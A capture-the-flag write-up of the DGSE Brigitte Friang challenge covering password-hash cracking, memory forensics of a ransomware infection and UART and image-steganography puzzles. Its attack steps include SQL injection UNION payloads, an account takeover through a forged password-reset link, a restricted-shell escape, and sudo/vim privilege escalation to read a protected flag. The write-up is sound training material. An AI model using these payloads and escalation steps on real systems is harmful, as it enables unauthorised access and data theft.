The Brigitte Friang challenge was the second challenge organized by the DGSE, after last year’s Richelieu challenge.
This time the challenge was comprised of two distinct parts. First a series of steps to solve to reach the CTF platform where the second part of the challenge took place.
Here is presented a detailed solution of every path to reach the platform, as well as every challenge in the second part of the competition.
The starting point for the challenge was identical to the previous year: a simple URL, with no useful information as to where to go to find the actual challenges.
However, Its source code hides a hint:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Challenge Brigitte Friang</title> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css"> <link rel="stylesheet" href="/static/css/style.css"> <!--/static/message-secret.html--> </head> <body> ... </body> </html>
Once again, the HTML code gives a hint:
<!DOCTYPE html> <html lang="fr" dir="ltr"> <head> <meta charset="utf-8" /> <title>Cesar</title> </head> ... </html>
All combinations can be tried with the help of the Shell:
$ for i in $( seq 26 ); do \ lynx --dump https://challengecybersec.fr/static/message-secret.html | caesar $i ; \ echo "==== $i"; read -n 1 -s -r ; done [...] Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre l’operation «Brigitte Friang». Rejoignez-nous rapidement. Brigitte Friang est une resistante, journaliste et ecrivaine francaise. Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord, Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards pour cacher des codes. Completez l’URL avec l’information qui est cachee dans ce message. Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang est arretee par la Gestapo. Elle est blessee par balle en tentant de s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants tenteront de la liberer mais sans succes. Elle est torturee et ne donnera pas d'informations. N’oubliez pas la barre oblique. Elle est ensuite envoyee dans le camp de Ravensbruck. Apres son retour de deportation, elle participe a la creation du Rassemblement du peuple français (RPF). Elle integre la petite equipe, autour d'Andre Malraux, qui va preparer le discours fondateur de Strasbourg en 1947 et les elections legislatives de 1951. Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient son brevet de saut en parachute et accompagne des commandos de parachutistes en operation durant la guerre d’Indochine. Elle raconte son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur le coup au moment ou je vous parle. Les meilleurs d'entre vous se donneront rendez-vous a l'European Cyberweek a Rennes pour une remise de prix. Resolvez le plus d'epreuves avant la fin de cette mission et tentez de gagner votre place parmi l'elite! Par la suite, elle couvre l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam. Elle prend position en faveur d'une autonomie du journalisme dans le service public ce qui lui vaut d'etre licenciee de l'ORTF. Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans la Resistance. ==== 19
No extra clue in the text content itself, but its rendering shows some bold characters:
The next URL is then revealed by the command:
$ caesar 19 <<< joha chat
Armand Richelieu introduces the team fighting the Evil Country:
Each member provides a path to reach the main challenge.
The files provided by Antoine Rossignol are:
echange.txt
;archive_chiffree
;layout.pdf
;compte_rendu_eve.pdf
.The text file explains that the encrypted archive has been processed by a piece of hardware sent for analysis. The analysis is presented in the report.
The report suggests that a specific area of the chip probably contains a hardcoded key used for encrypting the archive. However the analysis could not determine the order of the bits nor the position of the MSB. A picture of the area is included in the password protected PDF.
To retrieve the key it is needed to first decrypt layout.pdf
. There is no additional clue as to what the password could be, suggesting it needs to be bruteforced.
The hash of the password can be extracted using pdf2john
from the John The Ripper toolchain.
./pdf2john.pl layout.pdf > hash
The extracted hash is:
$pdf$4*4*128*-4*1*16*6889d2c476016551d8b110c09aead2be*32*2f4d1d0b42be57f35b3f62f18ca0c43d00000000000000000000000000000000*32*2573d8bb30a39ec5e84b3891b5ac78d35876cc17ece0afa3fa17ef6f50919dfe
Note: the prefix with the PDF name has been removed to make the hash compatible with Hashcat.
The hash can be cracked with Hashcat by a simple dictionary attack using the famous rockyou
dictionary.
./hashcat -a 0 -m 10500 hash rockyou.txt
The recovered password is resistance.
Once decrypted, layout.pdf
shows an image of 16 rows of 16 fuses suggesting that each fuses corresponds to one bit of data. Some fuses have a gap in the middle showing they have been burnt.
A burnt fuse represents a 1 and a regular one represents a 0. The harvested bits are the following:
0100000101000101 0101001100100000 0011001000110101 0011011000100000 0100010101000011 0100001000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000
Splitting each row in two words of 1 byte and printing the ASCII characters yields the string AES 256 ECB
. The decoding can be done automatically with the key_extraction.py script.
Note: looking at the fuses shows that there are 21 spaces after the string which can be tricky to notice as output of the key_extraction.py script.
The key suggests that the encryption algorithm used is AES 256 in ECB mode. Using the Pycrypto
library it is possible to decrypt the encrypted archive archive_chiffree
. The code for this step can be found in decrypt_archive.py.
The outputted file is a zip archive.
$ file plain_archive plain_archive: Zip archive data, at least v2.0 to extract
Using unzip
the content of the archive is extracted.
The content of the archive is:
. ├── archive │ ├── code_acces.pdf │ └── message.pdf └── __MACOSX └── archive 3 directories, 2 files
Note: the __MACOSX
folder suggests the archive was created on a Mac and is unnecessary to complete the rest of the challenge.
The file code_acces.pdf
is password protected and message.pdf
contains a hint to find the password.
This system can be solved with brute force instantly and yields x=5622.
Note: the code to brute force this system can be found in brute_force_system.py.
The file code_acces.pdf
holds a clue for the flag. The flag has been encrypted so that every character has been replaced by its multiplicative inverse in the Galois Field.
The encrypted flag is 0xAF3A5E20A63AD0.
The website wims.univ-cotedazur.fr hosts a Galois field calculator that can perform this kind of computing.
The Galois field can be defined as follows:
Each character represents a polynomial of the field. The coefficients of the polynomial can be found as follows:
bin(0xAF) = '0b10101111'
;10101111
corresponds to:0b01100010 = 0x62
which corresponds to b
.The complete calculations of polynomials for the flag:
The resulting flag is b a:e z. Sending the flag to Antoine Rossignol on the platform returns the URL of the CTF.
A forbidden access to a system seems to have been detected:
One way to analyze the Nginx
logs is to scan POST requests at first:
$ < access.log grep POST [...] 145.229.250.226 - - [Nov 05 2020 16:13:19] "POST /login HTTP/1.1" 200 397 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 179.97.58.61 - - [Nov 05 2020 16:22:20] "POST /login HTTP/1.1" 200 476 "-" "Evil Browser" 135.133.14.41 - - [Nov 05 2020 16:42:32] "POST /login HTTP/1.1" 200 183 "-" "Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0" [...]
Providing the attacker IP gives access to an image:
Its size is quite surprising:
$ ls -lh evil_country_landscape.jpg -rw-r--r-- 1 test test 303M 12 nov. 20:19 evil_country_landscape.jpg
Interesting content can be extracted thanks to binwalk
:
$ binwalk -e evil_country_landscape.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 79798 0x137B6 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part2.img 4775856 0x48DFB0 Zlib compressed data, best compression 34737670 0x2120E06 MySQL MISAM compressed data file Version 1 56164092 0x358FEFC IMG0 (VxWorks) header, size: 257308484 128298187 0x7A5ACCB Cisco IOS microcode, for "w%" 158637081 0x9749C19 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part3.img 239002530 0xE3EE3A2 Zlib compressed data, best compression 317286906 0x12E969FA End of Zip archive, footer length: 22 $ file _evil_country_landscape.jpg.extracted/part* _evil_country_landscape.jpg.extracted/part2.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3 _evil_country_landscape.jpg.extracted/part3.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3
Creating loop devices should activate some automatic support:
# losetup -f _evil_country_landscape.jpg.extracted/part2.img # losetup -f _evil_country_landscape.jpg.extracted/part3.img # dmesg [...] [1504745.009200] md/raid:md127: device loop2 operational as raid disk 2 [1504745.009202] md/raid:md127: device loop1 operational as raid disk 1 [1504745.009617] md/raid:md127: raid level 5 active with 2 out of 3 devices, algorithm 2 [1504745.009640] md127: detected capacity change from 0 to 341835776
The new disk can then get explored:
# mkdir /tmp/raid # mount /dev/md127 /tmp/raid/ # ls -lh /tmp/raid/ total 292M -rw-r--r-- 1 root root 291M 6 oct. 11:35 dump.zip drwx------ 2 root root 16K 6 oct. 11:31 lost+found # unzip -l /tmp/raid/dump.zip Archive: /tmp/raid/dump.zip Length Date Time Name --------- ---------- ----- ---- 1073741824 2020-10-05 13:13 dump.vmem 64 2020-10-05 13:50 dump.vmem.sha256 --------- ------- 1073741888 2 files
Once the ZIP content is extracted, the RAID disk can be stopped with the following commands:
# umount /tmp/raid/ # mdadm -S /dev/md127 mdadm: stopped /dev/md127 # losetup -D
The new files are memory dumps suitable for Volatility:
$ volatility -f dump.vmem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/XXX/dump.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c4c0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4dd00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-10-05 11:17:37 UTC+0000 Image local date and time : 2020-10-05 13:17:37 +0200
A preview of the current rendering can be captured:
$ mkdir screenshot $ volatility -f dump.vmem --profile Win7SP1x64 screenshot --dump-dir screenshot Volatility Foundation Volatility Framework 2.6 Wrote screenshot/session_0.msswindowstation.mssrestricteddesk.png Wrote screenshot/session_0.Service-0x0-3e7$.Default.png Wrote screenshot/session_0.Service-0x0-3e4$.Default.png Wrote screenshot/session_0.Service-0x0-3e5$.Default.png Wrote screenshot/session_1.WinSta0.Default.png Wrote screenshot/session_1.WinSta0.Disconnect.png Wrote screenshot/session_1.WinSta0.Winlogon.png Wrote screenshot/session_0.WinSta0.Default.png Wrote screenshot/session_0.WinSta0.Disconnect.png Wrote screenshot/session_0.WinSta0.Winlogon.png
The running process list can also be explored:
$ volatility -f dump.vmem --profile Win7SP1x64 pslist Volatility Foundation Volatility Framework 2.6 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0xfffffa8000cc5b30 System 4 0 87 393 ------ 0 2020-10-05 11:13:41 UTC+0000 0xfffffa800bad5480 smss.exe 264 4 2 29 ------ 0 2020-10-05 11:13:41 UTC+0000 0xfffffa8002810060 csrss.exe 352 336 8 517 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002816060 wininit.exe 404 336 3 74 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa80111d32e0 csrss.exe 412 396 9 209 1 0 2020-10-05 11:13:42 UTC+0000 0xfffffa80029c2910 winlogon.exe 460 396 4 110 1 0 2020-10-05 11:13:42 UTC+0000 0xfffffa80029f76d0 services.exe 504 404 8 220 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002a007c0 lsass.exe 512 404 7 565 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002a0db30 lsm.exe 520 404 10 145 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002a0fb30 svchost.exe 644 504 10 353 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002affb30 svchost.exe 708 504 6 276 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002b1f4a0 svchost.exe 760 504 23 514 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002b28b30 svchost.exe 880 504 16 320 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002b8ab30 svchost.exe 920 504 48 979 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002bb4b30 audiodg.exe 980 760 7 128 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002bd4060 svchost.exe 244 504 26 720 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002bf8060 svchost.exe 304 504 20 391 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002c6b500 dwm.exe 1072 880 6 124 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002c6fb30 explorer.exe 1084 1064 32 828 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002cc6310 spoolsv.exe 1156 504 15 270 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d11a60 taskhost.exe 1216 504 10 204 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d234f0 vm3dservice.ex 1240 1084 3 39 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d27b30 vmtoolsd.exe 1248 1084 8 166 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d2ab30 svchost.exe 1304 504 20 325 0 0 2020-10-05 11:13:45 UTC+0000 0xfffffa8002b6e430 VGAuthService. 1560 504 4 84 0 0 2020-10-05 11:13:46 UTC+0000 0xfffffa8002b6f2c0 vmtoolsd.exe 1584 504 12 292 0 0 2020-10-05 11:13:46 UTC+0000 0xfffffa8001e6ab30 dllhost.exe 1832 504 20 186 0 0 2020-10-05 11:13:47 UTC+0000 0xfffffa8002f1f060 WmiPrvSE.exe 1892 644 10 193 0 0 2020-10-05 11:13:47 UTC+0000 0xfffffa8002ef2b30 dllhost.exe 2008 504 17 195 0 0 2020-10-05 11:13:48 UTC+0000 0xfffffa8002fc9560 msdtc.exe 872 504 15 155 0 0 2020-10-05 11:13:49 UTC+0000 0xfffffa8003021690 VSSVC.exe 2076 504 6 109 0 0 2020-10-05 11:13:49 UTC+0000 0xfffffa8002c4bb30 SearchIndexer. 2156 504 12 557 0 0 2020-10-05 11:13:50 UTC+0000 0xfffffa8002fd4b30 wmpnetwk.exe 2296 504 11 213 0 0 2020-10-05 11:13:50 UTC+0000 0xfffffa80030d4770 svchost.exe 2372 504 23 258 0 0 2020-10-05 11:13:51 UTC+0000 0xfffffa80030e4750 SearchProtocol 2400 2156 7 273 0 0 2020-10-05 11:13:51 UTC+0000 0xfffffa80030e7b30 SearchFilterHo 2420 2156 4 86 0 0 2020-10-05 11:13:51 UTC+0000 0xfffffa8001ca9060 WmiPrvSE.exe 3032 644 15 330 0 0 2020-10-05 11:14:07 UTC+0000 0xfffffa80031d5790 sppsvc.exe 2844 504 6 156 0 0 2020-10-05 11:16:54 UTC+0000 0xfffffa801bbf6b30 svchost.exe 2276 504 12 327 0 0 2020-10-05 11:16:54 UTC+0000 0xfffffa8000e91b30 drpbx.exe 2304 2916 8 149 1 0 2020-10-05 11:17:01 UTC+0000 0xfffffa8000e78920 taskhost.exe 2464 504 6 88 1 0 2020-10-05 11:17:08 UTC+0000 0xfffffa800107c6a0 WmiApSrv.exe 2632 504 7 119 0 0 2020-10-05 11:17:18 UTC+0000 0xfffffa8001072060 notepad.exe 1880 1084 1 62 1 0 2020-10-05 11:17:36 UTC+0000 0xfffffa800117db30 cmd.exe 1744 1584 0 -------- 0 0 2020-10-05 11:17:37 UTC+0000 2020-10-05 11:17:37 UTC+0000 0xfffffa8002161630 conhost.exe 2928 352 0 -------- 0 0 2020-10-05 11:17:37 UTC+0000 2020-10-05 11:17:37 UTC+0000 0xfffffa8001116060 ipconfig.exe 2832 1744 0 -------- 0 0 2020-10-05 11:17:37 UTC+0000 2020-10-05 11:17:37 UTC+0000
So do the command lines used to launch the programs:
$ volatility -f dump.vmem --profile Win7SP1x64 cmdline Volatility Foundation Volatility Framework 2.6 [...] ************************************************************************ drpbx.exe pid: 2304 Command line : "C:\Users\user\AppData\Local\Drpbx\drpbx.exe" C:\Users\user\Documents\Firefox_installer.exe ************************************************************************ [...]
The suspicious process with pid 2304 can be extracted:
$ mkdir drpbx $ volatility -f dump.vmem --profile Win7SP1x64 procdump -p 2304 --dump-dir drpbx Volatility Foundation Volatility Framework 2.6 Process(V) ImageBase Name Result ------------------ ------------------ -------------------- ------ 0xfffffa8000e91b30 0x0000000000870000 drpbx.exe OK: executable.2304.exe $ file drpbx/executable.2304.exe drpbx/executable.2304.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
The source code of the executable can be retrieved by using ILSpy.
The buttonCheckPayment_Click() function inside FormGame.cs file provides some hints about encrypted .evil files:
double price = Blockr.GetPrice(); int num = (int)(Blockr.GetBalanceBtc(GetBitcoinAddess()) * price); if (num > Config.RansomUsd) { timerCountDown.Stop(); buttonCheckPayment.Enabled = false; buttonCheckPayment.BackColor = Color.Lime; buttonCheckPayment.Text = "Arg, vous nous avez eu..."; MessageBox.Show(this, "Déchiffrement de vos fichiers. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job"); Locker.DecryptFiles(".evil"); Hacking.RemoveItself(); }
The Locker.cs file contains the EncryptFile() and DecryptFile() functions with all the cryptographic parameters:
RXZpbERlZmF1bHRQYXNzIQ==
string;0, 1, 0, 3, 5, 3, 0, 1, 0, 0, 2, 0, 6, 7, 6, 0
;The drpb-unlocker.py Python script can then be used to decrypt encrypted files:
$ volatility -f dump.vmem --profile Win7SP1x64 filescan | grep evil Volatility Foundation Volatility Framework 2.6 0x000000001715ed50 16 0 R--r-- \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil 0x000000003fa3ebc0 2 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf.evil 0x000000003fac8d10 32 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\WER\ReportQueue\NonCritical_Firefox_installe_d514681bfc376345742b2157ace1e72c17fd991_cab_0938b7ba\appcompat.txt.evil 0x000000003fad8620 16 0 RW-r-- \Device\HarddiskVolume1\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.evil $ mkdir crypted $ for q in 0x000000001715ed50 0x000000003fa3ebc0 0x000000003fac8d10 0x000000003fad8620; do \ volatility -f dump.vmem --profile Win7SP1x64 dumpfiles -D crypted -Q $q ; \ done $ find crypted/ -type f -not -name '*.orig' -exec python3 ./drpb-unlocker.py {} \;
One of the resulting files seems interesting:
< crypted/file.None.0xfffffa800e9fec60.dat.orig head -10 Ce message est destin� � toute force alli�e en mesure de nous venir en aide, nous la r�sistance d'Evil Country. Hier, nous sommes parvenus � mettre la main sur un dossier confidentiel �manant des services secrets d'Evil Gouv. Ces documents font mention d'une op�ration d'an�antissement de la r�sistance � l'aide d'un puissant agent innervant, le VX. L'attaque est pr�vue dans 4 jours � 4h40 au sein du fief de la r�sistance. Nous savons de source sure qu'un convoi permettant la synth�se du VX partira de l'entrepot Stockos de Bad Country vers le fief de la r�sistance d'ici quelques jours. Il faut intercepter ce convoi ! �F��f�Jev�nous � cette adresse : http://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3sz�Zn|3����
The content still have to be truncated and the file can be translated to UTF-8 with:
$ iconv -c -f ISO-8859-15 -t UTF-8 final.txt
When we chose the “Service Web” route, Jérémy Nitel told us that Stockos, a web platform used to manage an Evil Country based warehouse, had been breached and passwords were leaked.
He also gave us a link to Stockos: https://www.challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/
Jérémy told us that those leaked passwords were not original. With the username admin and password admin, we logged into the site easily.
The home page was a dashboard with storage info but there was nothing interesting here for us to exploit.
The second tab, which was titled “Gestion des stocks”, contained a table with different products and other info.
We could also notice a search box that allowed us to search for a specific object in the warehouse.
Using this search box, we could try to make our way through the database, using SQL Injection. Since there were 5 columns, we tried this injection first:
' UNION select 1, 2, 3, 4, 5 #
At the end of the table, after clicking on the search button, we got the values 1, 2, 3, 4, 5 in each columns, so we knew that we were on the right path.
These are the other injections that we tried :
' UNION select table_name, NULL, NULL, NULL, NULL from information_schema.tables #
Result: customer, orders, section, supplier (we removed default tables)
' UNION select table_name,column_name,NULL,NULL,NULL from information_schema.columns where table_name=[table_name] #
By doing so, we found that :
In his messages, Jérémy Nitel also gave us a link to the site of AirEvil. We needed to find a way to get a plane ticket from Bad City to Evil City.
Trying to get a plane ticket directly when we land on the home page only told us to login in order to book a flight. Here is what the login page looked like:
By making a dummy account with a temporary email address, we noticed on the profile page that our account is not authorized to book flights to Evil Country.
This meant that the only way to book a flight to Evil Country was to get an authorized account. Luckily, we already had an email address that would be linked to an authorized account: agent.malice@secret.evil.gov.ev
When trying to reset the password for our dummy account, we received an email that contains a link to the reset page. What the link actually contains (d2lqYWYxMjM1N0BwYXRtdWkuY29t) is our email address encoded to base64. When we open the link, this was what we get:
They gave us our password in clear text!
agent.malice@secret.evil.gov.ev encoded to base64 is: YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==. By using the same reset link with the encoded version of the email address, this was the result:
With this, we knew that the credentials for the authorised account were agent.malice@secret.evil.gov.ev with password Superlongpassword666.
We logged in with those values and in the tab “Mes reservations”, we found one plane ticket from Bad City to Evil City, associated with a QR Code.
The value of the QR Code was DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}.
We sent this flag to Jérémy Nitel. In response, he transferred us a file called “capture.pcap” that we had to analyze in order to get the next flag.
When analyzing the PCAP file, we can see that the traffic is TLS/SSL encrypted, and only between two local IPs.
We are able to extract the certificate and public key of the exchange from the handshake messages.
When looking at the detailed parameters of the key, we can see that its modulus is not big enough to be considered even remotely secured.
We are able to retrieve its prime factors through tools like factordb.com. With p
and q
available, we are able to craft a private key.
We then have to load this key up in Wireshark
to be able to decrypt all the traffic.
We realize that it was HTTP traffic and we can find the link to the web platform for the second part of the challenge.
The context of the mission is:
Lors de votre récent séjour à Evil Country, vous êtes parvenu à brancher un dispositif sur le camion effectuant la livraison. Il faut maintenant trouver une faille sur le système pour pouvoir prendre le contrôle du camion autonome de la marque Lates et le rediriger vers un point d'extraction. Un agent a posé un dispositif nous permettant d'accéder au système de divertissement du véhicule. A partir de ce dernier, remontez jusqu'au système de navigation. Connectez-vous en SSH au camion Identifiants: user:user Le serveur est réinitialisé périodiquement Port : 5004 Le flag est de la forme DGSESIEE{hash}
This was the sole challenge in the pwn category. We start up by connecting via ssh to the given user account on the server.
$ ssh user@challengecybersec.fr -p 5004 user@challengecybersec.fr's password: ============================================================= LATES Motors Inc LATES Mortors Entertainment System v6.2 Please enter your credentials ============================================================= Username:
We end up in a prompt asking us for a username/password combination. After a few unsuccessful tries at triggering a buffer overflow, a format string or even trying common combinations like admin/admin, we realized that we could escape it simply by pressing Ctrl+D.
Username: Traceback (most recent call last): File "/home/user/login.py", line 12, in <module> user = raw_input("Username: ") EOFError user@b43e27468d7b:~$
The Shell appears to have limited capabilities, as it is a restricted bash.
However, since python is available, we can launch an unrestricted shell through the os
builtin module.
We find out that the flag is located inside the home directory of the navigationSystem
user, and that there is another user called globalSystem
.
The flag is only readable by navigationSystem
so we’ll have to reach this level of privileges.
user@b43e27468d7b:~$ ls -rbash: ls: command not found user@b43e27468d7b:~$ /bin/ls -rbash: /bin/ls: restricted: cannot specify `/' in command names user@b43e27468d7b:~$ python -c "import os; os.system('/bin/sh')" $ ls /bin/sh: 1: ls: not found $ /bin/ls bin login.py $ /bin/ls ../ globalSystem navigationSystem user $ /bin/ls ../navigationSystem flag.txt $ /bin/ls ../navigationSystem -la total 24 drwxr-xr-x 2 root root 4096 Nov 1 10:52 . drwxr-xr-x 1 root root 4096 Nov 1 10:52 .. -r--r--r-- 1 navigationSystem navigationSystem 220 Apr 18 2019 .bash_logout -r-------- 1 navigationSystem navigationSystem 3533 Nov 1 10:52 .bashrc -r--r--r-- 1 navigationSystem navigationSystem 807 Apr 18 2019 .profile -r-------- 1 navigationSystem navigationSystem 43 Nov 1 10:52 flag.txt
We can use the -l option of sudo to check which commands we are able to run as another user.
$ /usr/bin/sudo -l Matching Defaults entries for user on b43e27468d7b: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD User user may run the following commands on b43e27468d7b: (globalSystem) NOPASSWD: /usr/bin/vim
We can run vim
as globalSystem
, and since vim
has a way to run commands from its control prompt, this means we can run any command as globalSystem
.
$ /usr/bin/sudo -u globalSystem vim :! /bin/sh $ id uid=1001(globalSystem) gid=1001(globalSystem) groups=1001(globalSystem)
Now on to the second round. We do the exact same thing to see if sudo
allows us to run some commands as navigationSystem
.
$ sudo -l Matching Defaults entries for globalSystem on b43e27468d7b: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD User globalSystem may run the following commands on b43e27468d7b: (navigationSystem) NOPASSWD: /usr/bin/update
We have the ability to run the update
binary as our target user, but since it’s not a standard Linux utility we’ll have to dig a little bit deeper.
$ sudo -u navigationSystem /usr/bin/update usage : /usr/bin/update password $ sudo -u navigationSystem /usr/bin/update aaa Wrong password
We decided that the simplest solution would be to download the binary to analyze it locally. Just a run through ltrace
gives us the expected password:
$ ltrace ./update aaa [...] strcmp("AloneIsTheBest", "aaa") = -32 puts("Wrong password"Wrong password
We can then use this password to run the binary on the server, which drops us in a prompt with the correct permissions to read the flag.
$ sudo -u navigationSystem /usr/bin/update AloneIsTheBest [...] navigationSystem@b43e27468d7b:/home/user$ cat ../navigationSystem/flag.txt DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}
The description of the mission is:
Un informateur a intercepté un message binaire transmis sur un câble. Il a rapidement enregistré via la carte son d'un PC les données en 8 bits signés (ascii_uart.raw). Dans la précipitation, il a oublié de noter la fréquence d'échantillonnage. Retrouvez le message. Le flag est de la forme DGSESIEE{X} avec X le message ascii_uart.raw (SHA256=0421ace2bbacbb5a812868b0dbb38a23533cda67bf7f00b1031fdbd7a228c8a5) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/ascii_uart.raw
UART is an implementation of the RS232 standard.
The relative voltage levels are:
0
;1
.Plenty of web sites describe how RS232 works:
Data is transmitted using:
start
bit, always 0
;parity
bits: here, the quantity of bits set to 1
in the data and the parity areas has to be even;stop
bit, always 1
.The frequency of each byte value inside the ascii_uart.raw file can be computed using the uart-study.pl Perl script;
$ perl ./uart-study.pl < ascii_uart.raw | grep -v ' : 0' 120 : 55908 121 : 55991 122 : 55830 123 : 55507 124 : 55778 125 : 55554 126 : 55871 127 : 55676 128 : 37107 129 : 37033 130 : 37068 131 : 36942 132 : 37116 133 : 36900 134 : 36869 135 : 36981
As a reminder, conversion between signed and unsigned byte is showed by the sign.c helper:
$ ./sign signed 118 -> unsigned 118 signed 119 -> unsigned 119 signed 120 -> unsigned 120 signed 121 -> unsigned 121 signed 122 -> unsigned 122 signed 123 -> unsigned 123 signed 124 -> unsigned 124 signed 125 -> unsigned 125 signed 126 -> unsigned 126 signed 127 -> unsigned 127 signed -128 -> unsigned 128 signed -127 -> unsigned 129 signed -126 -> unsigned 130 signed -125 -> unsigned 131 signed -124 -> unsigned 132 signed -123 -> unsigned 133 signed -122 -> unsigned 134 signed -121 -> unsigned 135 signed -120 -> unsigned 136 signed -119 -> unsigned 137
As values from 120 to 127 are more frequent, theses bytes should represent the inactive state, and thus encoding a bit 1
. So bytes from 128 to 135 should encode a bit 0
.
The next step is to recover raising edges.
By studying the binary stream, raising edge sampling distance seems to be 638 or a multiple of 638. As one byte of the original data is transmitted using 1 + 8 + 1 + 1 = 11 bits, the original message can be retrieved thanks to the uart.pl Perl script, which read the stream and accumulates original bytes:
$ perl ./uart.pl < ascii_uart.raw [...] #742123: value=123 level=1 duration=032263 bit_count=0.000000 #742124: value=124 level=1 duration=032264 bit_count=0.000000 #742125: value=123 level=1 duration=032265 bit_count=0.000000 #742126: value=123 level=1 duration=032266 bit_count=0.000000 #742127: value=123 level=1 duration=032267 bit_count=0.000000 #742128: value=123 level=1 duration=032268 bit_count=0.000000 #742129: value=122 level=1 duration=032269 bit_count=0.000000 #742130: value=123 level=1 duration=032270 front bit_count=50.579937 byte limit 0 10111110 0 1 /}/ /DGSESIEE{ d[-_-]b \_(''/)_/ (^_-) @}-;--- (*^_^*) \o/ }/
Note: when processing the stream, losses of synchronization are fixed by detecting sequences that are too long without a start
bit. Frames with parity
errors are dropped.
The operational hint for the mission are:
Un de nos agents ne répond plus depuis quelques jours, nous avons reçu un mail avec une photo d'archives de Brigitte Friang. Cela ne peut pas être une coïncidence. Il a certainement cherché à cacher des informations dans l'image. Nous devons le secourir au plus vite, il est certainement en danger et sur écoute. Le flag est juste une chaîne de caractères brigitte.png (SHA256=31b88d96ff54ef15e6c995aac5a1759068ac8ba43d3cbdf561c7ea44ab42d735) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/brigitte.png
The Python script mask.py extract all the RGB colors from the brigitte.png image, bits by bits, and produces new PNG files for each of them.
$ python3 ./mask.py [i] Processing bit 0 [i] Processing bit 1 [i] Processing bit 2 [i] Processing bit 3 [i] Processing bit 4 [i] Processing bit 5 [i] Processing bit 6 [i] Processing bit 7
When looking at the RGB layers of the picture, a tile appears distinctly for the red color:
Pixels with red color lowest bit set |
Pixels with green color lowest bit set |
Pixels with blue color lowest bit set |
